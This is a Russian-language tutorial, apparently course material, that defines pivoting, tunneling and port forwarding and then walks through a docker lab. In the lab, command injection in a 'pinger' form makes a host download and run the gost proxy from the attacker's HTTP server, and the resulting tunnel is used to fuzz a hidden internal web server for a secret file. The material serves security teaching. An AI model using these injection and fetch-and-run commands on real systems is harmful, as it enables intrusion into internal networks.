Проброс сетевого трафика
Pivoting (англ. Pivot – “точка опоры”) – набор техник, с помощью которых организовывается доступ к тем сетям, к которым нет доступа при обычных обстоятельствах. При этом доступ получен с использованием скомпрометированных компьютеров.
Прокси-сервер (англ. “Proxy”) — промежуточный сервер в компьютерных сетях, выполняющий роль посредника между
пользователем и целевым сервером, позволяющий клиентам как выполнять косвенные запросы к другим сетевым службам, так и получать ответы.
Туннелирование в компьютерных сетях (англ. “Tunneling”) — процесс, в ходе которого создается логическое соединение
между двумя конечными точками посредством инкапсуляции различных протоколов.
Переадресация портов (англ. “Port Forwarding”) — проброс портов, который также иногда называемый перенаправлением портов или туннелированием, – это процесс пересылки трафика, адресованного конкретному сетевому порту с одного сетевого узла на другой.
Port2Port (также известный как P2P) — это техника перенаправления сетевого трафика между двумя различными портами на
одном и том же компьютере или между двумя разными компьютерами.
Port2Hostnet — это техника перенаправления сетевого трафика через порт в сеть удаленного узла.
Общая задача
Есть доступ к системе ОС Linux, задача — найти сервисы внутренней сети и получить к ней доступ со своей рабочей машины.
Задачу проброса трафика можно разделить по:
Инструментам:
- Подходы, использующие внутренние инструменты ОС: ssh, nc, bash и пр.
- Подходы, использующие внешние утилиты: socat, meterpreter, gost и пр.
Методам:
- Стандартные протоколы, не использующие скрытие трафика: TCP, UDP, HTTPS, SSH, VPN.
- Нестандартные протоколы, позволяющие обходить системы обнаружения, ограничения и скрывать наличие туннеля: ICMP, DNS, HTTPS (в виде легитимных запросов к приложению).
Проблемы, присущие методам проброса трафика
- Нестабильность соединений.
- Исключение возможности использовать протоколы ниже прикладного или транспортного уровня.
- Детектирование зловредного трафика в сети.
- Ограничение соединений между узлами, логическими сегментами сети, используемыми портами.
Стандартные протоколы для проброса трафика
Встроенные утилиты:
Плюсы | Минусы |
Удобство и простота использования. Возможность использования почти на любой ОС. Относительная надежность соединения. |
Во многих встроенных утилитах отсутствует механизм шифрования трафика. |
Внешние утилиты:
Плюсы | Минусы |
Внедрение механизмов шифрования. Добавление дополнительных функций поддержания туннеля. Возможность установки в большинство ОС для использования при отсутствии встроенных механизмов. |
Необходимость установки потенциально вредоносного ПО. Необходимость разбираться в сложных правилах проброса трафика. Относительная ненадежность использования собственного ПО. |
Пример
Лабораторный стенд:
https://stepik-files.cyber-ed.space/WhiteHat/socket-lab.zip
//Открыт один порт 1337, нужно найти другие открытые для внутреннего использования порты и получить опубликованные файлы на скрытом web сервере
Дано: есть доступ на машину jump. Задача — получить удобный доступ к сервису: target:80 Ход действий
- Запускаем лабораторный стенд:
$ docker-compose up -d
- Проверяем доступность сервиса pinger через web-интерфейс.
- Проверяем возможность инъекции команд, затем соберем информацию о сервисе:
1.1.1.1; ls hostname -I
- IP-адрес принадлежит локальной сети, попробуем найти в ней другие хосты, скрытые в локальной сети:
curl 172.22.0.2
- Чтобы найти файл на скрытом web-сервере, используем ffuf, но для этого необходимо стабильное соединение с целевым сервером через промежуточный хост. Используем прокси из проекта Go simple tunnel Скачиваем бинарный файл из релизов, выбираем сборку для Linux с amd64, например https://github.com/ginuerzh/gost/releases/download/v2.11.5/gost-linux-amd64-2.11.5.gz
- Подготовим веб-сервер для передачи этого файла на атакуемую машину:
$ cd /tmp $ mkdir http; cd http $ wget https://github.com/ginuerzh/gost/releases/download/v2.11.5/gost-linux-amd64-2.11.5.gz $ gunzip gost-linux-amd64-2.11.5.gz # распаковка архива с бинарником $ mv gost-linux-amd64-2.11.5 gost $ python3 -m http.server 3000
- Определяем наш IP-адрес и в браузере выполняем скачивание файла через интерфейс pinger:
1.1.1.1 | curl 172.20.10.7:3000/gost --output gost
- Выдаем права на исполнение и запускаем туннель
chmod +x gost 1.1.1.1 | ./gost -L=:1338
- Настроим утилиту ffuf для использования прокси для обнаружения файлов на удаленном веб-сервере с IP 172.22.0.2 в локальной сети используя словарь fuzz.txt
http_proxy=127.0.0.1:1338 ffuf -w ~/Repositories/YAWR/Web/files_and_directories/fuzz.txt -u http://172.22.0.2/FUZZ -fc 403
- Получим файл config.inc~, прочтем его с помощью curl и получим секрет:
1.1.1.1 | curl 172.22.0.2/config.inc~
No comments to display
No comments to display